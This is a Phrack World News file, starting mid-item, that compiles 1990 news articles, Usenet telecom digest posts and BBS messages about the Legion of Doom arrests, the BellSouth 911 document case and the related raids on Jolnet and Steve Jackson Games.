- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
byline 'Debbie Howlett, USA Today' reads:
A network of computer hackers operating in 14 cities -- which bilked phone
companies of $50 million -- has been unplugged, police say.
"We're not talking about somebody who played Space Invaders too many
times," says Tim Holtzen, spokesman for the U.S. attorney in Phoenix.
The hackers -- the largest such ring discovered in the USA --broke into
phone company and bank computer systems to obtain account numbers and run
up an unknown total in debts, police say.
"The main thing is the life-threatening information these computer hackers
were trying to get into," says Richard Adams of the Secret Service. "It
goes beyond being monetary to totally mischievous."
The ring was uncovered 18 months ago, when members tried and failed to
infiltrate computers at Barrows Neurological Institute in Phoenix.
They later tried to block incoming calls to the 911 emergency service in
Chicago. The motivation? "The primary reason is as kind of a malicious
hobby." says Gary Chapman of Computer Professionals for Social
Responsibility. "People are interested in testing their skills against
security measures." But, Adams says, "I hate to minimize it by saying it
was just for kicks."
Police seized 40 computers and 23,000 disks during searches Tuesday in 14
cities, officials said Wednesday. Five men, between the ages of 19 and 24,
have been arrested.
What's been uncovered so far, says Holtzen, may be "just the tip of the
iceberg."
[END OF STORY]
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #10 of 10
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN Phrack World News PWN
PWN Issue XXXI, Part Three PWN
PWN Compiled by Phreak_Accident PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
Comp.dcom.telecom
-----------------
The following is excerpts from comp.dcom.telecom regard the now "Infamous"
Legion Of Doom busts. I know most of you have seen some of these
somewhere-sometime, but I thought I would try to get these out for those
unfortunate souls that don't have Usenet access.
I know there have been many controversies over the following material and
the busts as a whole -- Henceforth, Phrack Inc. will not comment on any of such
busts. Mainly because we don't want to jeopardize any current investigations
concerning LOD and others. Leave it alone. It's old news. Let this sum it up
for you guys and then forget about it.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Newsgroups: comp.dcom.telecom
Subject: CBS News Special Report - "The Busting of The Mentor"
Message-ID: <4747@accuvax.nwu.edu>
Date: 5 Mar 90 06:11:49 GMT
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X-Telecom-Digest: Volume 10, Issue 145, Message 6 of 6
...I've just gotten a new update on the Mentor's recent apprehension by
the Feds. Thought you might like to hear something as close to as direct
from the Mentor as possible under the circumstances.
From: Daneel Olivaw #96 @5283
Date: Sun Mar 04 19:55:28 1990
I'll have to play the Mentor for now (with permission granted).
If you haven't heard the rumors, here is the truth.
The Mentor was awakened at 6:30am on Thursday (3/1/90) with the gun of
a Secret Service agent pointed at his head. The SS proceded to search
and seize for the next 4 1/2 hours. Things taken include an AT with
80mb HD, HP LaserJet II, various documents, and other thing. They
then proceded to raid his office at work, and sieze the computer and
laser printer there. Lost in the shuffle was a complete novel (being
written and due in 2 weeks), and various other things.
Across town: Those of you who know Erik Bloodaxe, he was also
awakened, and his house searched.
Neither have been charged with anything, but they expect to at least
be called as witnesses at the case of the Phrack Boys (Knight
Lightning and Tarren King) in Chicago April 15.
Apparently, they did a shoddy job, as they tagged a book that Mentor
had borrowed from me (Quarterman's "The Matrix"), and then forgot to
take it, oh well....
It ain't lookin so lovely. Also the UT computer systes are under
*VERY* close watch, as they were/are being hacked on by hackers around
the world, including some in Australia, and England.
OM
From: cosell@bbn.com (Bernie Cosell)
Newsgroups: comp.dcom.telecom
Subject: Keeping Copies of Illegal Things (was Re: Jolnet, Again)
Message-ID: <4725@accuvax.nwu.edu>
Date: 4 Mar 90 04:36:50 GMT
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X-Telecom-Digest: Volume 10, Issue 143, Message 3 of 8
}TELECOM Digest Sat, 3 Mar 90 20:45:00 CST Special: Jolnet, Again
This isn't misc.legal, and this isn't the time to be excessively picky
and critical, but:
}Here is how he told the tale of the '911 software':
}The software showed up on his system one day, almost two years ago. It
}came to him from netsys, where Len Rose was the sysadmin. According to
}Andrews, when he saw this file, and realized what it was, he knew the
}thing to do was to 'get it to the proper authorities as soon as
}possible',...
}ME> "After you passed it along to Boykin, did you then destroy the
}file and get it off your site?"
}RA> "Well, no... I kept a copy also."
It strikes me that this is a KEY faux pas, regardless of good
intentions or not.
}But then, said Andrews, a funny thing happened several months later.
}The folks at AT&T, instead of being grateful for the return of their
}software came back to Andrews to (in his words) 'ask for it again.'
}Somehow, they either never got it the first time; got it but suspected
}there were still copies of it out; or were just plain confused.
Just so, and if RA *supplied* another copy, I suspect they'd interpret
that as pretty convincing evidence that it WAS further distributed,
and with RA's knowledge. I know that they didn't actually contact him
and ask/tell him to expunge all copies of the stuff, but his actions
clearly demonstrated his knowledge of just what it was he was messing
with, and I think they could easily show that he incurred an
obligation to act prudently with it, or else [just guessing now] he
could be liable to being an accessory after the fact.
}So he was contacted by the feds about a year ago, and it was at that
}point he decided it was in his best interest to cooperate with any
}investigation going on.
Perhaps his sudden cooperation was less out of pangs of conscience
that it might have appeared... [not to besmirch his motives here,
only to point out that a call from the FBI pointing out that while you
may not have really DONE anything, your actions _could_ end up landing
you in court with some serious potential badness going down (and none
of this untested cheesiness about the the technicalities of bbs's and
such... nice mainstream legal liability), could be pretty persuasive
at converting a concerned, but out-of-the-loop, citizen into an active
helper].
/Bernie\
From: dattier@chinet.chi.il.us (David Tamkin)
Newsgroups: comp.dcom.telecom
Subject: Seizures Spreading
Message-ID: <4724@accuvax.nwu.edu>
Date: 4 Mar 90 05:55:20 GMT
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X-Telecom-Digest: Volume 10, Issue 143, Message 2 of 8
News is that Illuminati BBS, a system run by a company named Steve
Jackson Games somewhere in Texas, was also shut down and its equipment
seized by the federal government because two suspected Legion of Doom
members were among its users.
[Moderator's Note: And I suspect the raids will continue during the
next week or two. I wonder which sites will be next? Each place they
raid, the local crackers point their fingers at each other like
naughty children, and to make themselves seem like the good guys they
say, "Have you talked to so-and-so yet?". Let's see now: netsys,
jolnet, attctc, illuminati, (your name here?)... Apparently even
getting rid of incriminating evidence won't work any longer, if
someone upstream of you tattled. PT]
From: mosley@peyote.cactus.org (Bob Mosley III)
Newsgroups: comp.dcom.telecom
Subject: Austin, TX BBS Shut Down From Joinet Bust Fallout
Message-ID: <4723@accuvax.nwu.edu>
Date: 4 Mar 90 17:22:26 GMT
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X-Telecom-Digest: Volume 10, Issue 143, Message 1 of 8
This hit most BBS's in the Austin area on Thursday. It's believed
the bust came down Wednesday morning. In a nutshell, here's what
happened:
Wednesday morning, Feb. 28, the offices of Steve Jackson Games, inc.,
were raided by FBI and Secret Service officials. The establishment was
shit down, and all computer systems, including the Illuminati BBS,
were confiscated.
At that time, a 'retired' member of the LoD, who was identified as
'The Mentor' was arrested. The charges reportedly are related to the
recent 911 bust that has shut down joinet and attatc (or whatever
Killerused to be called). His home system was confiscated, complete
with an entire collection of "Phrack" issues and related paraphanalia.
As of this writing, the Mentor is reportedly out on bail, sans system
and network connection. The Illuminati BBS is still down, although SJ
Games is back in operation, and no charges have been filed against any
of the employees other than The Mentor. The systems owned by SJ Games
have not been returned as of this writing.
Finally, rumors were trickling in early this morning (Saturday, 3/4)
that two BBS's in Dallas, three in Houston, and one in San Antonio
were busted by the same authorites in relation to the same case.
[in light of the Mentor's posted defense of the LoD, I kinda thought
you'd like to see this one! - OM]
From: telecom@eecs.nwu.edu (TELECOM Moderator)
Newsgroups: comp.dcom.telecom
Subject: Jolnet, Again
Message-ID: <4701@accuvax.nwu.edu>
Date: 4 Mar 90 02:45:00 GMT
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X-Telecom-Digest: Special: Jolnet, Again
TELECOM Digest Sat, 3 Mar 90 20:45:00 CST Special: Jolnet, Again
Today's Topics: Moderator: Patrick Townson
Re: AT&T Sourcecode: Poison! (Chip Rosenthal)
Jolnet Seizure (Mike Riddle)
Article Regarding JOLNET/e911/LoD/Phrack (Ben Rooney)
A Conversation With Rich Andrews (TELECOM Moderator)
Killer/attctc Permanently Down (Charlie Boykin)
----------------------------------------------------------------------
From: Chip Rosenthal <chip@chinacat.lonestar.org>
Subject: Re: AT&T Sourcecode: Poison!
Date: 3 Mar 90 00:00:00 GMT
Organization: Unicom Systems Development, Austin (yay!)
[Moderator's Note: Original date of 2/25 changed to prevent premature
expiration. PT]
You've got a lot of nerve, Patrick.
telecom@eecs.nwu.edu (TELECOM Moderator) writes:
>We're told by a deep-throat type that AT&T is on the war path about
>their software [...] Like jolnet, netsys went down abruptly, with
>*everything* confiscated [...] Now comes news that attcdc [sic], formerly
>known as killer went off line in a hurry.....
Yessir, after all your complaints about that about anonymous Legion of
Doom message, this is a really crummy thing to post. Based upon
unattributed conversations, you imply that Len Rose and Charlie Boykin
were involved in wrongdoing which lead to the shutdown of their
systems.
I don't know Len personally, but have had uucp connections with him in
the past. Charlie, on the other hand, I do know personally. He is
very well regarded in the Dallas/Fort Worth area, and was voted "1989
DFW Administrator of the Year" by the DFW lunch-bunch...errr....DFW
Association of Unix System Administrators.
You have cast some crummy aspersions towards these guys. Since I know
them, I will wait for the facts to come in. Others who don't know
them could very well jump to conclusions on the basis of this posting.
Was this message really called for?
Chip Rosenthal | Yes, you're a happy man and you're
chip@chinacat.Lonestar.ORG | a lucky man, but are you a smart
Unicom Systems Development, 512-482-8260 | man? -David Bromberg
------------------------------
Date: Wed, 28 Feb 90 21:38:39 EST
From: Mike Riddle <Mike.Riddle@p6.f666.n5010.z1.fidonet.org>
Subject: Jolnet Seizure
Reply-to: Mike.Riddle@p6.f666.n285.z1.fidonet.org
Organization: DRBBS Technical BBS, Omaha, Ne. 402-896-3537
Has anyone tried a novel legal approach to the case of equipment
seizure as "evidence"? As I remember the Electronic Communications
Privacy Act, it contains specific procedures for authorities to obtain
copies/listings of data on a system (which system may have been used
for illegal purposes, but whose operator is not at the moment
charged). From this I think a creative attorney could construct an
argument that the national policy was not to seize equipment, merely
to obtain all the information contained therein. After all, it's the
data that caused any harm.
Also, the Federal Rules of Evidence, and most state rules, provide
that computer generated copies are "originals" for evidentiary
purposes.
I hope that someone close enough to the scene can keep us informed
about what is happening on this one.
{standard disclaimer goes here--don't pay any attention to me!}
--- Ybbat (DRBBS) 8.9 v. 3.07 r.1
* Origin: [1:285/666.6@fidonet] The Inns of Court, Papillion, NE (285/666.6)
--- Through FidoNet gateway node 1:16/390
Mike.Riddle@p6.f666.n5010.z1.fidonet.org
------------------------------
From: brooney@sirius.uvic.ca
Date: 3 Mar 90 2:36 -0800
Subject: Article Regarding JOLNET/e911/LoD/Phrack
The following is an article I received five days ago which contains, to my
knowledge, information as yet unpublished in comp.dcom.telecom regarding the
ongoing JOLNET/e911/LoD discussion. It was printed in a weekly magazine
with a publishing date of Feb. 27 but other than that I have no exact idea
of when the events mentioned herein took place.
- Ben Rooney
MISSOURI STUDENT PLEADS INNOCENT TO 911 CHARGES
[Knight Lightning], a 19-year-old University of Missouri student, has
pleaded not guilty to federal allegations that he invaded the 911
emergency phone network for 9 states.
As reported earlier, he was indicted this month along with [The Prophet],
20, of Decatur, Ga. Both are charged with interstate
transportation of stolen property, wire fraud, and violations of the
federal Computer Fraud and Abuse Act of 1986.
Prosecutors contend the two used computers to enter the 911 system of
Atlanta's Bell South, then copied the program that controls and
maintains the system. The stolen material later allegedly was
published on a computer bulletin board system operating in the Chicago
suburb of Lockport. Authorities contend Neidorf edited the data for
an electronic publication known as "Phrack."
According to Associated Press writer Sarah Nordgren, in a recent
hearing on the case Assistant U.S. Attorney William Cook was granted a
motion to prevent the 911 program from becoming part of the public
record during the trial. U.S. District Judge Nicholas Bua set April
16 for a trial.
The 911 system in question controls emergency calls to police, fire,
ambulance and emergency services in cities in Alabama, Mississippi,
Georgia, Tennessee, Kentucky, Louisiana, North Carolina, South
Carolina and Florida.
---------------------------------------
Article from "A Networker's Journal" by Charles Bowen.
Info-Mat Magazine (Vol. 6, No. 2)
[Moderator's Note: {Info-Mat Magazine}, by the way, is the excellent
electronic journal distributed on many BBS machines throughout the
United States who are fortunate enough to be accepted as part of the
magazine's distribution network. I personally wish it was distributed
on Usenet as well: it is well written and very informative. PT]
------------------------------
Date: Sat, 3 Mar 90 19:34:54 CST
From: TELECOM Moderator <telecom@eecs.nwu.edu>
Subject: A Conversation With Rich Andrews
After the first articles appeared here relating to the seizure of
Jolnet, and the indictment of some people for their part in the theft
of '911 software', I got various messages from other folks in
response. Some were published, while others were just personal
correspondence to me. One from Chip Rosenthal was held over, and is
included in this special issue today.
One writer, whose comments were attributed to 'Deep Throat' spent some
time on two occassions on the phone, in a conference call between
himself, David Tamkin and myself.
What was lacking in the several messages which appeared over the past
week were comments from Rich Andrews, system administrator of Jolnet.
I got one note from someone in Canada who said Andrews wanted to speak
with me, and giving a phone number where I could call Andrews at his
place of employment.
I put in a call there, with David Tamkin on the other line and had a
long discussion with Andrews, who was aware of David being on the line
with me. I asked Andrews if he had any sort of net access available
to him at all -- even a terminal and modem, plus an account on some
site which could forward his mail to telecom. You see, I thought, and
still think it is extremely important to include Rich Andrews in any
discussion here.
He assured me he did have an account on a Chicago area machine, and
that a reply would be forthcoming within hours. I had a second
conversation with him the next morning, but without David on the line.
He again told me he would have a response to the several articles
written in the Digest ready and in the email 'very soon'. This was on
Wednesday morning, and we estimated his message would be here sometime
later in the day -- certainly by midnight or so, when I am typically
working up an issue of the Digest.
Midnight came and went with no message. None showed up Thursday or
Friday. I deliberatly withheld saying anything further in the hopes
his reply would be here to include at the same time. I guess at this
point we have to go on without him.
When David Tamkin and I talked to him the first time, on Tuesday
evening this past week, the first thing Andrews said to us, after the
usual opening greetings and chitchat was,
"I've been cooperating with them for over a year now. I assume you
know that."
We asked him to define 'them'. His response was that 'them' was the
United States Secret Service, and the Federal Bureau of Investigation.
He said this without us even asking him if he was doing so.
We asked him to tell us about the raid on his home early in February.
He said the agents showed up that Saturday afternoon with a warrant,
and took everything away as 'evidence' to be used in a criminal
prosecution.
ME> "If you have been working and cooperating with them for this long,
why did they take your stuff?"
RA> "They wanted to be sure it would be safe, and that nothing would be
destroyed."
ME> "But if you wanted to simply keep files safe, you could have taken
Jolnet off line for a few weeks/months by unplugging the modems from
the phone jacks, no? Then, plugged in a line when you wanted to call
or have a trusted person call you."
RA> "They thought it was better to take it all with them. It was mostly
for appearance sake. They are not charging me with anything."
ME> "Seems like a funny way to treat a cooperative citizen, at least
one who is not in some deep mess himself."
He admitted to us that several crackers had accounts on Jolnet, with
his knowledge and consent, and that it was all part of the investigation
going on ... the investigation he was cooperating in.
Here is how he told the tale of the '911 software':
The software showed up on his system one day, almost two years ago. It
came to him from netsys, where Len Rose was the sysadmin. According to
Andrews, when he saw this file, and realized what it was, he knew the
thing to do was to 'get it to the proper authorities as soon as
possible', so he chose to do that by transferring it to the machine
then known as killer, a/k/a attctc, where Charlie Boykin was the
sysadmin.
Andrews said he sent it to Boykin with a request that Boykin pass it
along to the proper people at AT&T.
ME> "After you passed it along to Boykin, did you then destroy the
file and get it off your site?"
RA> "Well, no... I kept a copy also."
ME> "Did Charlie Boykin pass it along to AT&T as you had requested?"
RA> "I assume he did."
But then, said Andrews, a funny thing happened several months later.
The folks at AT&T, instead of being grateful for the return of their
software came back to Andrews to (in his words) 'ask for it again.'
Somehow, they either never got it the first time; got it but suspected
there were still copies of it out; or were just plain confused.
So he was contacted by the feds about a year ago, and it was at that
point he decided it was in his best interest to cooperate with any
investigation going on.
Andrews pointed out that the '911 software' was really just ".... a
small part of what this is all about..." He said there was other
proprietary information going around that should not be circulating.
He said also the feds were particularly concerned by the large number
of break-ins on computers which had occurred in the past year or so.
He said there have been literally "....thousands of attempts to break
into sites in the past year....", and part of his cooperation with the
authorities at this time dealt with information on that part of it.
We asked him about killer/attctc:
ME> "You knew of course that killer went off line very abruptly about
a week ago. What caused that? It happened a week or so after the feds
raided you that Saturday."
RA> "Well the official reason given by AT&T was lack of funds, but you
know how that goes...."
Now you'd think, wouldn't you, that if it was a funding problem -- if
you can imagine AT&T not having the loose change in its corporate
pocket it took to provide electrical power and phone lines to attctc
(Charlie got no salary for running it) -- that at least an orderly
transition would have taken place; i.e. an announcement to the net; an
opportunity to distribute new maps for mail and news distribution,
etc; and some forthcoming shut down date -- let's say March 1, or
April 1, or the end of the fiscal year, or something....
But oh, no... crash boom, one day it is up, the next day it is gone.
ME> "What do you know about the temporary suspension of killer some
time ago? What was that all about?"
RA> "It was a security thing. AT&T Security was investigating Charlie
and some of the users then."
Andrews referred to the previous shutdown of killer as 'a real blunder
by AT&T', but it is unclear to me why he feels that way.
We concluded our conversation by Andrews noting that "there is a lot
happening out there right now."
He said the [Phrack] magazine distribution, via netsys, attctc and
jolnet was under close review. "One way to get them (crackers) is by
shutting down the sites they use to distribute stuff..."
And now, dear reader, you know everything I know on the subject. Well,
almost everything, anyway....
From other sources we know that Len Rose of netsys was in deep
trouble with the law *before* this latest scandal. How deep? Like he
was ready to leave the country and go to the other side of the world
maybe? Like he was in his car driving on the expressway when they
pulled him over, stopped the car and placed him under arrest? Deep
enough? This latest thing simply compounded his legal problems.
Patrick Townson
------------------------------
Date: Fri Mar 2 06:59:23 1990
From: Charlie Boykin <cfb@sulaco.sigma.com>
Subject: Killer/attctc Is Permanently Down
Hello,
Regarding a couple of things as well as a message from Bill Huttig.
The system WAS shut down a couple of years ago - for three weeks -
as part of a security inquiry. It has been in continous operation
since. On July 4, 1989, it was moved to a Customer Demonstration
location at the Dallas Infomart and the node name changed to attctc
(for AT&T Customer Technology Center). The system was closed down on
February 20, 1990 after 5 years of operation. There are no charges
pending and the "management" of the system have been ostensibly
cleared of any illegal activities.
As of now, there are no intentions of returning the system to
service. There are hopeful plans and proposals that could conceivably
result in the system being placed back in service in a different
environment and under different management.
Respectfully,
Charles F. Boykin
Formerly sysop\@attctc (killer)
------------------------------
End of TELECOM Digest Special: Jolnet, Again
******************************
---------------
[reprinted without permission from the Feb. 12th, 1990 issue of Telephony]
ALLEGED HACKERS CHARGED WITH THEFT OF 911 DATA
Dawn Bushaus, Assistant Editor
Four alleged computer hackers were indicted last week on charges that they
schemed to steal and publish proprietary BellSouth Corp. emergency data. The
alleged activity could have produced disruptions in 911 networks nationwide,
according to federal officials.
The case could raise new concerns about the security of local exchange
carriers' internal computer networks, which house data records on customers,
equipment and operations.
"Security has always been a concern for the telephone companies," said
Peter Bernstein, an analyst with Probe Research. "If you can crack the 911
system, what does that say about the operational support system or the billing
system?"
A federal grand jury in Chicago handed down two indictments charging
[The Prophet], 20, of Decatur, Ga., and [Knight Lightning], 19, of
Chesterfield, Mo., with wire fraud, violations of the 1986 Computer Fraud Act
and interstate transportation of stolen property.
Facing similar criminal charges in Atlanta are [The Urvile], 22, and
[The Leftist], 23.
The four, alleged to be part of a closely knit group of hackers calling
themselves the Legion of Doom, reportedly participated in a scheme to steal the
BellSouth 911 data, valued at $80,000, and publish it in a hacker magazine
known as "Phrack."
The Legion of Doom reportedly is known for entering telephone companies'
central office switches to reroute calls, stealing computer data and giving
information about accessing computers to fellow hackers.
According to the Chicago indictment, XXXXX, also known as "The Prophet,"
stole a copy of the BellSouth 911 program by using a computer outside the
company to tap into the BellSouth computer. Riggs then allegedly transferred
the data to a computer bulletin board in Lockport, Ill.
XXXXXXX, also known as "Knight Lightning," reportedly downloaded the
information into his computer at the University of Missouri, Columbia, where he
edited it for publication in the hacker magazine, the indictment said.
The indictment also charges that the hackers disclosed the stolen
information about the operation of the enhanced 911 system to other hackers so
that they could illegally access the system and potentially disrupt or halt
other systems across the country.
The indictments followed a year-long investigation, according to U.S.
Attorney Ira Raphaelson. If convicted, the alleged hackers face 31 to 32 years
in prison and $122,000 in fines.
A BellSouth spokesman said the company's security system discovered the
intrusion, which occurred about a year ago, and the company then notified
federal authorities.
Hacker invasion in the BellSouth network is very rare, the spokesman said,
adding that the company favors "stringent laws on the matter."
The indictment solicited concern about the vulnerability of the public
network to computer hacking.
----------------
From: MM02885@swtexas.bitnet
Newsgroups: comp.dcom.telecom
Subject: Re: Hacker Group Accused of Scheme Against BellSouth
Message-ID: <4153@accuvax.nwu.edu>
Date: 20 Feb 90 11:16:00 GMT
Sender: news@accuvax.nwu.edu
Organization: TELECOM Digest
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X-Telecom-Digest: Volume 10, Issue 118, message 3 of 6
<<< SYS$ANCILLARY:[NOTES$LIBRARY]GENERAL.NOTE;1 >>>
-< General Discussion >-
==============================================================================
Note 155.6 the MENTOR of the tree tops 6 of 6
SWT::RR02026 "Ray Renteria [ F L A T L I N E ] " 89 lines 20-FEB-1990 00:18
-< Life, The Universe, & LOD >-
To set the record straight, a member of LOD who is a student in Austin
and who has had his computer account at UT subpoenaed by the DA out of
Chicago because of dealings with the above happenings:
My name is Chris, but to the computer world, I am Erik Bloodaxe. I
have been a member of the group known as Legion of Doom since its
creation, and admittedly I have not been the most legitimate computer
user around, but when people start hinting at my supposed
Communist-backed actions, and say that I am involved in a world-wide
consipracy to destroy the nations computer and/or 911 network, I have
to speak up and hope that people will take what I have to say
seriously.
Frank, Rob and Adam were all definately into really hairy systems.
They had basically total control of a packet-switched network owned by
Southern Bell (SBDN)...through this network they had access to every
computer Southern Bell owned...this ranging from COSMOS terminals up
to LMOS front ends. Southern Bell had not been smart enough to
disallow connections from one public pad to another, thus allowing
anyone who desired to do so, the ability to connect to, and seize
information from anyone else who was using the network...thus they
ended up with accounts and passwords to a great deal of systems.
This was where the 911 system came into play. I don't know if this
system actually controlled the whole Southern Bell 911 network, or if
it was just a site where the software was being developed, as I was
never on it. In any case, one of the trio ended up pulling files off
of it for them to look at. This is usually standard proceedure: you
get on a system, look around for interesting text, buffer it, and
maybe print it out for posterity. No member of LOD has ever (to my
knowledge) broken into another system and used any information gained
from it for personal gain of any kind...with the exception of maybe a
big boost in his reputation around the underground. Rob took the
documentation to the system and wrote a file about it. There are
actually two files, one is an overview, the other is a glossary. (Ray
has the issue of PHRACK that has the files) The information is hardly
something anyone could possibly gain anything from except knowledge
about how a certain aspect of the telephone company works.
The Legion of Doom used to publish an electronic magazine called the
LOD Technical Journal. This publication was kind of abandoned due to
laziness on our part. PHRACK was another publication of this sort,
sent to several hundred people over the Internet, and distributed
widely on bulletin boards around the US. Rob sent the files to PHRACK
for the information to be read. One of PHRACK's editors, Craig,
happened to be the one who received the files. If Rob had sent the
files to one address higher, Randy would have been the one who would
probably be in trouble. In anycase, Craig, although he may have
suspected, really had no way to know that the files were propriatary
information and were stolen from a Southern Bell computer.
The three Atlanta people were busted after having voice and data taps
on their lines for 6 months. The Phrack people were not busted, only
questioned, and Craig was indicted later.
What I don't understand is why Rob and Craig are singled out more
often than any other people. Both of them were on probation for other
incidents and will probably end up in jail due to probation violations
now. Frank and Adam still don't know what is going on with their
cases, as of the last time I spoke with them.
The whole bust stemmed from another person being raided and rolling
over on the biggest names he could think of to lighten his burden.
Since that time, Mr. William Cook, the DA in Chicago, has made it his
life's goal to rid the world of the scourge of LOD. The three Atlanta
busts, two more LOD busts in New York, and now, my Subpoena.
People just can't seem to grasp the fact that a group of 20 year old
kids just might know a little more than they do, and rather than make
good use of us, they would rather just lock us away and keep on
letting things pass by them. I've said this before, you cant stop
burglars from robbing you when you leave the doors unlocked and merely
bash them in the head with baseball bats when they walk in. You need
to lock the door. But when you leave the doors open, but lock up the
people who can close them for you another burglar will just walk right
in.
If anyone really wants to know anything about what is going on or just
wants to offer any opinions about all this directly to me, I'm
erikb@walt.cc.utexas.edu
but my account is being monitored so don't ask anything too explicit.
->ME
-----------
Well, as some of you may already know, the people that put out Phrack were
busted recently. Up until now, details were scarce, but things are starting to
appear in the news.
[reprinted without permission from the Milwaukee Journal Wed. Feb. 7th]
Chicago, Ill. - AP - A computer hacker broke into the 911 emergency
telephone network covering nine states in the South and another intruder passed
on the access data to other hackers, authorities said.
[The Prophet], 20, of Decatur, GA., and [Knight Lightning],
19, of Chesterfield, MO., were indicted Tuesday by
a federal grand jury and accused of computer crimes, said acting US Atty. Ira
H. Raphaelson.
He said Riggs was a member of the so-called Legion of Doom hackers
group, whose members are involved in numerous illegal activities.
Riggs and two other alleged members also were indicted in Atlanta and
charged in other computer break-ins.
The government would not say if any emergency calls were disrupted or
whether other damage was done during the tampering.
------------
Name: The Prophet #104
Date: Tue Feb 06 23:55:15 1990
Imagine that you're deaf, dumb, blind, and paralyzed from the neck down and
totally unable to experience or communicate with the outside world. How long
could you retain your sanity? How many of you would choose to die instead?
How many of you think you could muster the willpower to create your own little
mental world to live in for the rest of your life, and how long do you think
the hospital would wait before putting you out of your misery?
-The Prophet
------------
Name: The Mentor #1
Date: Sat Jan 20 02:58:54 1990
Welp, Phrack magazine is dead. Those of you who pay attention to BITNET know
that the phrack accounts at U of M have been shut down. The story is as
follows...
Government agents (not sure of the dept., probably SS) have apparently been
monitoring the e-mail of the Phrack kids (Knight Lightning & Taran King) for
some time now. Apparently, a portion of a file sent to them (and subsequently
published) contained copyrighted information. This is all they needed. They
have now seized the entire Phrack net mailing list (over 500 accounts), plust
every piece of information that Randy & Craig have (and they have a *LOT*) on
real names, addresses and phone numbers.
This is evolving directly out of the busts of three LOD members (Urvile,
Leftist & Prophet). The Prophet (who is on probation) is apparently being
threatened with a prison term if he doesn't cooperate. We don't know for sure
if he cooperated or not, but what would you do in the same position?
The same officials are apparently *VERY* interested in our co-sys, Mr.
Bloodaxe. His net account is being watched, etc. I'll let him tell the story.
board only. I will be adding a secure (and I mean fucking secure) encryption
routine into the e-mail in the next 2 weeks - I haven't decided exactly how to
implement it, but it'll let two people exchange mail encrypted by a password
only know to the two of them. Hmmmm... carry this conversation to the
programming board.
Anyway, I do not think I am due to be busted, but then again, I don't do
anything but run a board. Still, there is that possibility. I assume that my
lines are all tapped until proven otherwise.
There is some question to the wisdom of leaving the board up at all, but I hae
(have) personally phoned several government investigators and invited them to
join us here on the board. If I begin to feel that the board is putting me in
any kind of danger, I'll pull it down with no notice - I hope everyone
understands.
It looks like it's sweeps-time again for the feds. Let's hope all of us are
still around in 6 months to talk about it.
The Mentor
Legion of Doom!
[Phoenix Project has been down for some time now.]
---------------
Newsgroups: comp.dcom.telecom
Subject: The Purpose and Intent of the Legion of Doom
Message-ID: <4248@accuvax.nwu.edu>
From: anytown!legion@cs.utexas.edu (Legion of Doom)
Date: 22 Feb 90 04:42:04 GMT
Sender: news@accuvax.nwu.edu
Organization: Anytown USA
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Volume 10, Issue 121, message 4 of 5
Lines: 51
[Moderator's Note: This anonymous message came in the mail today. PT]
Well, I had to speak up. There has been a lot of frothing (mostly by
people who believe everything that they read in the paper) about
Legion of Doom. I have been involved in the group since 1987, and
dislike seeing irresponsible press concerning our "plot to crash 911"
or our "links to organized crime."
LOD was formed to bring together the best minds from the computer
underground - not to do any damage or for personal profit, but to
share experiences and discuss computing. The group has *always*
maintained the highest ethical standards of hacker (or "cracker," as
you prefer) ethics. On many occasions, we have acted to prevent abuse
of systems that were *dangerous* to be out - from government systems
to Easter Seals systems. I have known the people involved in this 911
case for many years, and there was *absolutely* no intent to interfere
with or molest the 911 system in any manner. While we have
occasionally entered a computer that we weren't supposed to be in, it
is grounds for expulsion from the group and social ostracism to do any
damage to a system or to attempt to commit fraud for personal profit.
The biggest crime that has been committed is that of curiosity. Kim,
your 911 system is safe (from us, at least). We have been instrumental
in closing many security holes in the past, and had hoped to continue
to do so in the future. The list of computer security people who count
us as allies is long, but must remain anonymous. If any of them choose
to identify themselves, we would appreciate the support.
I am among the people who no longer count themselves as "active"
members of the group. I have been "retired" for well over a year. But
I continue to talk to active members daily, and support the group
through this network feed, which is mail-routed to other LODers, both
active and accessible.
Anyone who has any questions is welcome to mail us - you'll find us
friendly, although a bit wary. We will also be glad to talk voice with
anyone if they wish to arrange a time to call. In spite of all the
media garbage, we consider ourselves an ethical, positive force in
computing and computer security. We hope others will as well.
The Mentor/Legion of Doom
legion%anytown.uucp@cs.utexas.edu
[Moderator's Note: As an 'ethical, positive force in computing', why
can't you sign your name to messages such as the above? Usually I
don't even consider anonymous messages for publication in the Digest;
but your organization has a perfect right to tell your side of the
story, and I am derelict if I don't print it. Real names and
addresses go a long way toward closing credibility gaps here. PT]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
There you go. It's over now, forget it and move on. Nothing more to
report on the subject that hasn't been printed, typed, spoken, or heard in the
last couple of months.
_______________________________________________________________________________
Phrack 31 - .end
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